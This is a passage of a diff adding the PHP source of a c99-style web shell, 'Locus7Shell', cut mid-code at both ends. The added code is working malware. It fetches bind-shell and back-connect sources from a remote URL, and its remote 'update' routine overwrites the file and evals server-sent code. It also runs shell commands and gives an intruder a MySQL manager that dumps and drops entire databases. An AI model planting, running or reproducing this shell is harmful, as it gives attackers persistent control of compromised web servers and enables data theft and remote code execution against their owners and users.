00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("c99getsource")) +{ +function c99getsource($fn) +{ + global $c99sh_sourcesurl; + $array = array( + "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", + "c99sh_bindport.c" => "c99sh_bindport_c.txt", + "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", + "c99sh_backconn.c" => "c99sh_backconn_c.txt", + "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", + "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} + else {return FALSE;} +} +} +if (!function_exists("c99sh_getupdate")) +{ +function c99sh_getupdate($update = TRUE) +{ + $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; + $data = @file_get_contents($url); + if (!$data) {return "Can't connect to update-server!";} + else + { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by Locous7Shell.SQL v. ".$shver." +# Home page: http://www.Locus7s.com +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function c99shexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - Locus7Shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #009900; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #009900; scrollbar-shadow-color: #000000; scrollbar-highlight-color: #00CC00; scrollbar-3dlight-color: #00CC00; scrollbar-darkshadow-color: #009900; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #000000; COLOR: green; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #009900; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #f89521; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #f89521; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #f89521; TEXT-DECORATION: none;}A:hover { COLOR: #f89521; TEXT-DECORATION: bold;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #009900; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #009900;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><center><img src="http://img244.imageshack.us/img244/6663/locus7sgm8.jpg"></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = FALSE; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +echo "<b>Your ip: <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo 